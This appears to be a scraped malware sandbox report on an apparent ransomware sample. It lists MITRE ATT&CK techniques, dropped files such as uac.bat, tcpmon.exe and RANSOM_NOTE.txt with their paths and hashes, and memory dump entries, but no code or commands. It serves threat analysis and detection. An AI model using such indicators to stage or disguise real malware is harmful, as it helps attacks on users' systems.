Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 5db7f2e1a554bef5f5d7f985a8c11dc66b91d870811fea6b2d41a3e8879d5548
MD5 51ae0a72469c7b450b282cd447ed7e1e
SHA1 dc0a43d5edbaa16c30d7c8b4bdb7ea81babccbb7
SHA512 4e5183fb6ab2d7a5f1c0b4b0c00bc68f9f96b2188f412277fe792a937306779284fcf20381bc914864e0df98484063d976d1c3c6c1765c406f53b3cc7c8253ac
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 744eec21f1f38acf32252b911de1786d9e366f37942983a46077260a5a762cec
MD5 a06cef919d74a89a768c1ec57db1cf65
SHA1 71fded134433b3099784b5ab2ba9388b1323e1f6
SHA512 6c1c74e4b82a3a231512980b5454f2fb7125c9e06ee964e92991680e18b4a07fa569e7b05cb253f91c46234fde98cc516084038cb7c8c10c5044f341a413db17
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 8de0cc5a3a9b498b934c78ff5291273ec0cff3bbb9ae0ab64dc5266b7610d61c
MD5 0df72121b38877c4162439aa2f3d1122
SHA1 04231a661214ebe4f94cbe03133bb814dd31d7d6
SHA512 4b648d1df10ec45407e564a488a1c48701cd5f881437032ba12f70fd9ee7081b4be3f54410bf621c2f3b97510a039b1e4357380b34e6a2ab59f63d5a08d93505
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 071de39bbd60b6f3e446f5056e13e633e6cf70580137964301f5cbe71df69c59
MD5 2a9baa1ecc1b3abbb738c57cb91acaa3
SHA1 502a1ca544ad5c742cebed37cf4995e4a677dd6d
SHA512 c60db28d7ef9803b42b8253150bdbb5adf4e61f906df09faec10e163a16b8fd9b6181a0ba6766cb6b6085946545c1bcd19b0ee0edbde05abe2e1af91f80fe1a3
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 8d85e250f38118ff4b00f71299a8f0e8c96721dddd320220046601562e811e83
MD5 1fbad999c31bf7ccfcc0bd2ccc443eda
SHA1 b32004057dfdba9901381d97c99ecd095c43167b
SHA512 6220f826750a4539dcdcfe89d680dd2011bbe5c9c7fe75abeaf5a41ada975902b19bce7726aeaa155d6845ff9aec88381a7d2220c52ada01eda803c11aca7f97
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 d780cdfc805fa080426cda3c0d56962b934be9d5d83a8e81290be84ea911adc1
MD5 4db97f032609eefd11a5d0f5661ee2f4
SHA1 a378012cc6221c9dceee4aebd840da66440700c3
SHA512 f8ee6c66926fa4dd100696ab75ed82de055b51e196b659aef0d2b1fb966dfb158ebb10978efeea21080f51bc3c785a037c1ca92f52e0f775d2bf5a0bc0bce891
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 76b66b95aeb874e8736cba0123f276460cf680c1596f068c259fd4ba836328a1
MD5 3880da1e97e5006c4b9ef3510e5115d8
SHA1 48ca72a93da3212684d3a1cef41698e930d426a3
SHA512 6115a1f696fe5340e95067eae3004ae38e30bcb54c93595dc4e624993178d3e651d2f785b957c71974382494dd76feb7b09396ec6a84a16b62efbb614cc8f814
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 00327827fa238ca0dc9e7201101562ff354daace9ab7dea5cc560635a8af66b4
MD5 2021f45a819703667d6cb035ece862eb
SHA1 bfa92da62b9100b37b067b8e9f116fb8fea4c686
SHA512 2818f07adb288987417c8c56d28e3c6fbc35b7ce5362d30254f9615c3dc4911a6bca8e09a9c745819931fee40d73fc4d5bf11fb43a58fa26e5da0460e3cb9b50
MD5 SHA1 SHA512

Submit Download

wall.bmp

Path C:\ProgramData\WindowsUpdate\wall.bmp
Size 4KB
SHA256 bfae0295664ce051cb59b4d5c6778bd55fc84e27cf2f68a2ee1c0191cc03903c
MD5 6b2dd92d813df1a29e272071229c77f7
SHA1 e0452bac1d427ffbfd71c613fe8aeb9b1a02c72b
SHA512 e6d29fc5b5c60c9c15834157db2a25fac1c6086d4bed389361126d5e6c82a769eafc026667c4c97e6059e84b348feba84e4a133ea265d4e93b370d094eacb41a
SSDEEP 48:LeXxko9UiJNSNGSn0j+Vx8pckYKgI4QSFc2K8CawnYSzRrh:8jpe0WSpXdX5SdfCawn5
TLSH
T1A6A11266F90ED2B0100B87B09F25152CE9CF0DCDE3A00D544A2A5C589AC2DB5AF79F6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2c063a32-f8e5-481b-a29b-dea14d39c387.inf

Path C:\Users\Admin\AppData\Local\Temp\2c063a32-f8e5-481b-a29b-dea14d39c387.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

9a2bbeb5-529b-40bd-8f40-ce922bd133b7.inf

Path C:\Users\Admin\AppData\Local\Temp\9a2bbeb5-529b-40bd-8f40-ce922bd133b7.inf
Size 173B
SHA256 5509ba443f404c16db32262866558e555ba327420a56b359acdb38e6d2a24826
MD5 1f4b19192148528a332f606200798347
SHA1 baf9477819456785e853b2031e4232a681bc51af
SHA512 a78899a7df2f6804a4bb88c7c7a0eb2b9693123e4dbee64e5cf79fb96eb9a61569c77de8a64ce64370e13e8e6166ed97888746c465813578d4e9e4a7424104b7
TLSH
T1BAC0128491F09675454D6973153B02D44EB285153946171820F1E967825580562D323A
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qj2hbm51.5zr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qj2hbm51.5zr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 60B
SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
MD5 b31608602a1e0bf182890383caa50432
SHA1 934b32186076f89d14be5f08a2fd36c4fd0fff0b
SHA512 9e4fbbc0a526b8a691f0c4a8f9c9249863098bd5cce109547cf426e2778181a72a372d456a6d357fd48ad419cce3e09b8d8df57ef3df1529ed4ab043c067e228
TLSH
T1ACA002068885856F08154C1715E367C9B0B9045DAAC67A004241982C1AD745AB4CA512
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 79B
SHA256 12bbafa75f435d4a841c1add9e14d2eb6d7734f68e8cbc15d5dce2009597d76d
MD5 7a48bd7bbc2ff9f837f1b1d4140855ea
SHA1 0abb4ac18d5823c47bebb76a343d39e2e6d3e9e2
SHA512 ab9cbeb0ab0170358fccd2f7903a39ef611bdb16725893b1995d2f8a78f6cdccf4580413b74d81c213ba797ecb8aeb5536a3492a613915960c733fec352a2347
TLSH
T19BA012025881862D440C081204D111C9B0B4046C354227202112C41A054341B71CA203
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 39KB
SHA256 e7fc252dd817b9a270cdd0ac92ad625de5ea48a24ed2d6c188be2ea069cf81d7
MD5 999a49903f647a702128e5416e55478b
SHA1 9696a5fd6015a7df52cf461c8e912ef783d5ea73
SHA512 162657cf7fe96ba08bd9bdb02f9ff34dff3d36a3e4f85f3a2da1d2d240ce0d174c794343ae5a8bf6a4d25bd05b37b7511ec92537e4c90727affb712210304091
SSDEEP 768:3IX+3t4tMYrbLcqNuYs37sG9JmoIym9UHYdEEusXqKhWayzC:vd4tBbLk4MmoI19U4df9XqiWy
TLSH
T10503E70537FD8668E1BF6AB74D7282008775F8979D22D70D0ED1848E1AB3B448E99B93
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\FB6793C7-86B9-4BCE-89DC-5CE1C5A146F2\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\FB6793C7-86B9-4BCE-89DC-5CE1C5A146F2\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

RANSOM_NOTE.txt

Path C:\Users\Admin\Documents\RANSOM_NOTE.txt
Size 117B
SHA256 7cf8d385e7141b5bc8c2c48cf20a57c41dfc05d2474ba29c93189a4e193522d8
MD5 6482e81290ba858401e5a31b894cb00b
SHA1 215925ac6e0c8e377e8529dc318fa2416728e1ef
SHA512 fbbb4cddc867bb9a83252c102edfda25212acbe981d97b1b92f8cf00451bdc2fd2ad6b08cce34bebbb44c3195f69e906952a7fa2ec4bca495c9b08edbb210359
TLSH
T147B09B5B7ED8375457C8259215018C21A58DD50CD5454654013788506D655591595873
MD5 SHA1 SHA512 TLSH

Submit Download

invoice_2.pdf

Path C:\Users\Admin\Documents\invoice_2.pdf
Size 52KB
SHA256 0e661141c8983c8862aa47ca9acdbefb298ea69be1d8fa11fe7310297bb1e457
MD5 77aff5650fdeb110ea6798eec4505444
SHA1 74a32bdd95683090655f8875871e65c6c921bf93
SHA512 45c90c0238932e27fabbb58ff7dee0bd94bb831921d6713d98f210326a98a91f3c454396689cac4dfb731ff342a6bd5f4259d0e8653ec9d2ebed6635795eba41
SSDEEP 1536:25BbWGswT1FnOmX1L/bBRKEIVqyLLaTJRU2MC7zXojRovQu:gRFswhN7KEvHzXmRUB
TLSH
T1CD3318378B22FDC0677F3D54F0542D561C543E5B8776A228FBC10DB628EA644DF2A8A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 4KB
SHA256 ead9e3d4d86bef489b4efca0e943c4b99f50c352c83e2f994f5a091bb3731003
MD5 ad9284c16bc8c952871be05611d4a2a8
SHA1 d3d3b4538e139687343a347a068c2c09426d0c3a
SHA512 82ec53c24cad555fd1c739f044e7a7ec14a3a5705340cbc71e3d3a2aead9cdc006839a11805e8fe63f394c0a6e17215efa02247ae43a04a6b4d9f463ee3a807e
SSDEEP 96:vDZEurK9DvBfQjLQjLQjEQjLQjEQjEQjLQjLQjqQjmQjmQjLQjmQjR:RrK9zBfCLCLCECLCECECLCLCqCmCmCLY
TLSH
T1BAA1BD31590DA5EC46F7C1A4007AF17FDA17F1720CDAF8C6A598C5A633F4AAE21E11AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4144-140-0x00000134E07C0000-0x00000134E0872000-memory.dmp

Download

memory/4144-139-0x00000134E07A0000-0x00000134E07BE000-memory.dmp

Download

memory/4144-176-0x00000134E0880000-0x00000134E088A000-memory.dmp

Download

memory/4144-43-0x00000134E06E0000-0x00000134E0702000-memory.dmp

Download

memory/5240-358-0x000001AB882A0000-0x000001AB882A1000-memory.dmp

Download

memory/5908-35-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-249-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-38-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-36-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-0-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp

Download

memory/5908-244-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-34-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-463-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-33-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-6-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-5-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-2-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/5908-1-0x0000000000250000-0x0000000000260000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads